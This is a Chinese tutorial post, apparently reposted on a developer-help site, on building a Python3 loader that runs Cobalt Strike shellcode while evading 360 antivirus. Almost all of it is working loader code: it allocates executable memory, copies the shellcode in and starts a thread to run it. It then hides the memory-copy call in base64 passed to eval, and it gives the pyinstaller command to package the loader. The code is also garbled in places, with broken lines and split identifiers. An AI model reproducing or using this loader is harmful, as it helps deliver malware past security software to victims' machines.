Python3 Cobalt strike shellcode 免杀过 360 卫士和360杀毒

Python2.7 现在很多杀毒软件都会查杀 免杀效果有点差。可以使用 python3 来做 shellcode 的免杀处理。 

Python3 下载 下载最新的版本 当前实验的版本是 Python 3.8.6 64 位 pyinstaller 4.0 https://www.python.org/downloads/ pip install pyinstaller  

Python3 shellcode 加载代码 import ctypes

#shellcode 加载 

def shellCodeLoad(shellcode): 
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64     ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))     buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(sh ellcode)))     handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64( ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))     ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1)) 
 
if __name__ == "__main__": 
    shellCodeLoad(bytearray(b'shellcode')) 

编译 pyinstaller -F test.py --noconsole

有时候杀毒软件会查杀这一段代码

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(sh ellcode))) 

可以使用编码进行处理 再 eval 动态执行代码 

eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTW Vtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVu
KHNoZWxsY29kZSkpKQ==")) 

Python3 shellcode 加载代码 import ctypes import base64

#shellcode 加载 

def shellCodeLoad(shellcode): 
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64     ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))     buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 
    
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTW Vtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVu KHNoZWxsY29kZSkpKQ==")) 
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64( ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))     ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1)) if __name__ == "__main__": 
    shellCodeLoad(bytearray(b'shellcode')) 

最后

以上就是饱满玉米为你收集整理的Python3 Cobalt strike shellcode 免杀过 360 卫士和360杀毒的全部内容，希望文章能够帮你解决Python3 Cobalt strike shellcode 免杀过 360 卫士和360杀毒所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。